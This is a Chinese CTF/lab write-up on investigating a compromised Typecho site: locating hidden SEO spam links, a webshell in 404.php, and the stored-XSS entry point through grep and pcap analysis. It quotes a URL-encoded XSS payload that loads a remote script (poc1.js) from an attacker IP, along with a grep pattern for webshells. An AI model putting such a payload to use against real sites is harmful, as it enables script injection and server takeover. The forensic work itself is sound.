linux实战-黑链——玄机靶场
黑链的特征:
- 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。
- 恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容,试图感染用户的计算机或窃取个人信息。
- 伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本或URL,诱导用户点击。
- 大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名。
总结来说,黑链是一种通过不正当手段在网站上植入的链接,旨在提升恶意网站的搜索引擎排名或传播恶意软件。
在实际操作中,黑链通常通过以下方式植入:
- 网站漏洞:利用网站或插件的漏洞,通过SQL注入、跨站脚本(XSS)等手段植入黑链。
- 权限滥用:通过获取网站管理员权限,手动添加黑链。
- 文件上传漏洞:通过上传恶意文件(如带有后门的PHP文件),在服务器上执行代码,植入黑链。
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}
一般流程,手动检查网站的HTML和PHP文件,寻找可疑的代码片段,或者检查特定的文件夹,某些文件夹更容易被黑客攻击,常见的如:/var/www/html,/tmp,/uploads,/images,在linux里可以使用命令进行全局搜索。
grep -rnw '/var/www/html/' -e '黑链'这里直接指定在网站目录下搜索。
-r:递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索。
-n:显示行号。这个选项会在匹配的行前面显示行号,方便定位。
-w:匹配整个单词。这个选项告诉 grep 只匹配整个单词(即匹配边界)。在这里,黑链 被视为一个完整的单词,只有当它作为一个独立的单词出现时才会被匹配。
-e '黑链':指定要搜索的字符串。在这个例子中,我们要搜索的是包含 黑链 字符串的所有文件。
可以看到,甚至能够将压缩包里的内容都进行匹配。

tips
关于关键词的选取需要进行收集,在搜索到可能的有黑链的文件后还需要进一步进行人工分析。
黑链隐藏方式:
- 隐藏的 HTML 元素:使用 CSS 将链接隐藏在网页中,如 display:none 或 visibility:hidden。
- JavaScript 动态加载:使用 JavaScript 动态加载黑链,使其在页面加载时才出现。
- URL 重定向:通过 URL 重定向,将合法链接引导到恶意网站。
- 伪装成正常内容:黑链可能伪装成正常的内容或链接,混杂在正常网页内容中。
例如匹配关键字:'href=', 'http'
一般先用D盾扫一遍,提高工作效率。
flag{header.php}
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}
通过命令行查shell:grep -rnw '/var/www/html/' -e 'eval('

一般使用D盾等工具进行扫描找出。
flag{/var/www/html/usr/themes/default/404.php}
黑客注入黑链文件的 md5 md5sum file flag{md5}
一般黑客注入黑链文件,常见的有:
- JavaScript:通过JavaScript代码动态插入隐藏链接或
iframe。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。 - HTML:直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为
display: none或放置在不可见的位置(如超出视口的区域)。 - PHP:在PHP文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
- CSS:通过 CSS 文件定义隐藏链接的样式。使用
display: none、visibility: hidden或position: absolute; left: -9999px等方式隐藏链接。 - iframe:在页面中嵌入一个隐藏的
iframe,iframe内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。 - .htaccess:使用 Apache 服务器的 .htaccess文件进行URL重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。
在前面找webshell时,找到过一个js文件里存在shell代码,优先分析这个js代码。

代码第一部分是在404.php中注入iframe,第二部分就是写shell。


对文件计算md5:

windos下命令:certutil -hashfile <文件名称> MD5
flag{10c18029294fdec7b6ddab76d9367c14}
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}
在目录下有个流量包,下载进行分析即可。

根据之前找到的poc1.js文件,可以直接筛选http contains "poc1.js"。

这里有多个流量都存在poc1.js,需要进一步进行分析,但是发现了一个xss注入痕迹。
推测攻击者是利用这个poc写入poc1.js的,所以利用这个poc进行筛选,注:需要通过url编码。
http contains "http%3A%2F%2Fxxx.xxx.com%2F%22%3E%3C%2Fa%3E%3Cscript%2Fsrc%3Dhttp%3A%2F%2F192.168.20.130%2Fpoc1.js%3E%3C%2Fscript%3E%3Ca%2Fhref%3D%22%23"

然后追踪http流进行分析,通过查找关键字poc1.js进行分析,目的是找到前面的poc是在什么时候写入到网站。

找到第一处,流量要成对分析,请求包里的url值为poc,提交后发生了302跳转。

跳转后发出的请求路径/index.php/archives/1/此时poc已经在cookie里了。

在响应包中发现,xss已经被插入。

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog
flag{/index.php/archives/1/}
相关文章:
linux实战-黑链——玄机靶场
黑链的特征: 隐藏链接:黑链通常隐藏在网站页面中,使用CSS、JavaScript或其他手段使其对普通用户不可见,但仍然能被搜索引擎爬虫检测到。恶意内容:这些链接指向的内容可能包含恶意软件、钓鱼页面或其他不良内容&#x…...
鸿蒙NEXT开发案例:字数统计
【引言】 本文将通过一个具体的案例——“字数统计”组件,来探讨如何在鸿蒙NEXT框架下实现这一功能。此组件不仅能够统计用户输入文本中的汉字、中文标点、数字、以及英文字符的数量,还具有良好的用户界面设计,使用户能够直观地了解输入文本…...
uniapp vue2项目迁移vue3项目
uniapp vue2项目迁移vue3项目,必须适配的部分 一、main.js 创建应用实例 // 之前 - Vue 2 import Vue from vue import App from ./App Vue.config.productionTip false // vue3 不再需要 App.mpType app // vue3 不再需要 const app new Vue({ ...App }) …...
16.C++STL 3(string类的模拟,深浅拷贝问题)
⭐本篇重点:string类的模拟,自己实现一个简单的string类 ⭐本篇代码:c学习/05.string类的学习 橘子真甜/c-learning-of-yzc - 码云 - 开源中国 (gitee.com) 目录 一. 经典string类的模拟 1.1 深浅拷贝问题 1.2 使用深拷贝完成经典string类的…...
神经网络10-Temporal Fusion Transformer (TFT)
Temporal Fusion Transformer (TFT) 是一种专为时序数据建模而设计的深度学习模型,它结合了Transformer架构和其他技术,旨在有效地处理和预测时序数据中的复杂模式。TFT 于 2020 年由 Google Research 提出,旨在解决传统模型在时序预测中的一…...
“iOS profile文件与私钥证书文件不匹配”总结打ipa包出现的问题
目录 文件和证书未加载或特殊字符问题 证书过期或Profile文件错误 确认开发者证书和私钥是否匹配 创建证书选择错误问题 申请苹果 AppId时勾选服务不全问题 总结 在上线ios平台的时候,在Hbuilder中打包遇见了问题,生成ipa文件时候,一…...
《图像梯度与常见算子全解析:原理、用法及效果展示》
简介:本文深入探讨图像梯度相关知识,详细介绍图像梯度是像素灰度值在不同方向的变化速度,并以 “pig.JPG” 图像为例,通过代码展示如何选取图像部分区域并分析其像素值以论证图像梯度与边缘信息的关联。接着全面阐述了 Sobel 算子,…...
【c++篇】:探索c++中的std::string类--掌握字符串处理的精髓
✨感谢您阅读本篇文章,文章内容是个人学习笔记的整理,如果哪里有误的话还请您指正噢✨ ✨ 个人主页:余辉zmh–CSDN博客 ✨文章所属专栏:c篇–CSDN博客 文章目录 前言一.std::string对象的创建二.std::string对象的访问三.std::str…...
LlamaIndex ollama 搭建本地RAG应用,建立本地知识库
目录 简介安装前的准备下载ollama创建llamaindex conda环境,为后面编码作准备 环境变量迁移ollama到其他盘运行ollama方式一方式二禁止ollama开机自启动运行第一个模型 Chatbox聊天下载Chatbox配置ollama地址和模型验证 建立自身特定知识数据搭配大语言模型创建项目…...
draggable的el-dialog实现对话框标题可以选择
请看图 这个对话框使用了el-dialog并且draggable属性设置成了true,所以标题栏这里就可以拖动,现在用户想选中标题栏的文本进而复制。我看到这个需求头都大了。 我能想到的方案有三个:1. 取消draggable为true 2. 标题文案后面加一个复制按钮 …...
2024年Android面试总结
2024年Android面试总结 1.动画类型有哪些?插值器原理? 2.StringBuffer和StringBuilder区别? 3.jvm内存模型? 4.线程池7大核心参数及原理? 5.Android多进程通信方式有哪些?各自的优缺点? 6…...
树莓派3:64位系统串口(UART)使用问题的解决方法
前言 当我们要使用串口进行zigbee的短距离通信时,发现无法使用串口. 原因 树莓派3bCPU内部有两个串口,一个硬件串口(就是我们平时使用的UART),还有一个迷你串口(mini-uart),在老版本的树莓派中把硬件串口分配在GPIO上,可以单独使用.但是在新的树莓派中官方把硬件串口给了蓝牙…...
SemiDrive E3 硬件设计系列---唤醒电路设计
一、前言 E3 系列芯片是芯驰半导体高功能安全的车规级 MCU,对于 MCU 的硬件设计部分,本系列将会分模块进行讲解,旨在介绍 E3 系列芯片在硬件设计方面的注意事项与经验,本文主要讲解 E3 硬件设计中唤醒电路部分的设计。 二、RTC 模…...
淘宝接口高并发采集核心要点解读,开启电商数据智能应用新纪元
一、引言 在电商蓬勃发展的今天,淘宝作为全球知名的电商巨头,其平台上的数据犹如一座蕴藏无限价值的宝藏。准确且高效地采集淘宝接口数据,并通过高并发技术实现大规模数据获取,对于电商企业的精准营销、市场趋势分析、竞品监测以及…...
C#里怎么样快速使用LINQ实现查询?
C#里怎么样快速使用LINQ实现查询? 在C#里使用LINQ,是一个方便的功能, 不过,要学会使用这部分的功能,需要比较多的学习时间,否则,使用起就比较难。 因为它的表现方式,与编程语言通用的功能,还是差别比较大。 当数据量比较小,没有特定的顺序时,使用LINQ访问会比较好…...
2024新版微软edge浏览器输入百度网址时自动补全tn=68018901……小尾巴的解决
以前一直是Windows11 21h2版本,浏览器内输入baidu不会自动补全tnxx的百度推广小尾巴。然后前几天在BIOS内开启了tpm2.0,升级Windows11到了24h2版本。 发现在edge浏览器内只要输入b,就会自动补全为baidu.com?tnXXX的这么一个百度推广形式。开…...
uni-app打包H5自定义微信分享
1、配置分享信息 修改uni-app的index.html,添加Open Graph(OG)标签来配置分享信息。 <!DOCTYPE html> <html lang="en"><head><meta charset="UTF-8" /><meta name="description" content="标题"/>…...
大模型专栏--大模型应用场景
紧接着第一篇,什么是大模型,这篇文章讨论一下大模型的应用场景和应用方式有哪些? 基础使用 随着 GPT 的出现,AI 大模型已经越来越多得出现在日常生活和学术研究,工作中。 按照使用方向有以下几种: 自然语…...
骑砍2霸主MOD开发(29)-顶点动画
一.定制化顶点动画(MorphAnimation) 定制化顶点动画用于人物Agent的面部表情. 1.创建MorphAnimation对应静态资源morph_animation.tpac 2.Agent设置对应MorphAnimation [EngineMethod("set_agent_facial_animation", false)] void SetAgentFacialAnimation(UIntPtr …...
-Dspring.profiles.active=dev与--spring.profiles.active=dev的区别
在Spring Boot应用程序中,-Dspring.profiles.activedev和--spring.profiles.activedev都用于指定要激活的Spring配置文件(profile),但它们在不同的环境中使用,并且有不同的作用域。 -Dspring.profiles.activedev&#…...
第19节 Node.js Express 框架
Express 是一个为Node.js设计的web开发框架,它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用,和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...
【JavaSE】绘图与事件入门学习笔记
-Java绘图坐标体系 坐标体系-介绍 坐标原点位于左上角,以像素为单位。 在Java坐标系中,第一个是x坐标,表示当前位置为水平方向,距离坐标原点x个像素;第二个是y坐标,表示当前位置为垂直方向,距离坐标原点y个像素。 坐标体系-像素 …...
[Java恶补day16] 238.除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂度…...
有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...
并发编程 - go版
1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程,系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...
计算机基础知识解析:从应用到架构的全面拆解
目录 前言 1、 计算机的应用领域:无处不在的数字助手 2、 计算机的进化史:从算盘到量子计算 3、计算机的分类:不止 “台式机和笔记本” 4、计算机的组件:硬件与软件的协同 4.1 硬件:五大核心部件 4.2 软件&#…...
Caliper 配置文件解析:fisco-bcos.json
config.yaml 文件 config.yaml 是 Caliper 的主配置文件,通常包含以下内容: test:name: fisco-bcos-test # 测试名称description: Performance test of FISCO-BCOS # 测试描述workers:type: local # 工作进程类型number: 5 # 工作进程数量monitor:type: - docker- pro…...
Linux系统部署KES
1、安装准备 1.版本说明V008R006C009B0014 V008:是version产品的大版本。 R006:是release产品特性版本。 C009:是通用版 B0014:是build开发过程中的构建版本2.硬件要求 #安全版和企业版 内存:1GB 以上 硬盘…...
基于鸿蒙(HarmonyOS5)的打车小程序
1. 开发环境准备 安装DevEco Studio (鸿蒙官方IDE)配置HarmonyOS SDK申请开发者账号和必要的API密钥 2. 项目结构设计 ├── entry │ ├── src │ │ ├── main │ │ │ ├── ets │ │ │ │ ├── pages │ │ │ │ │ ├── H…...
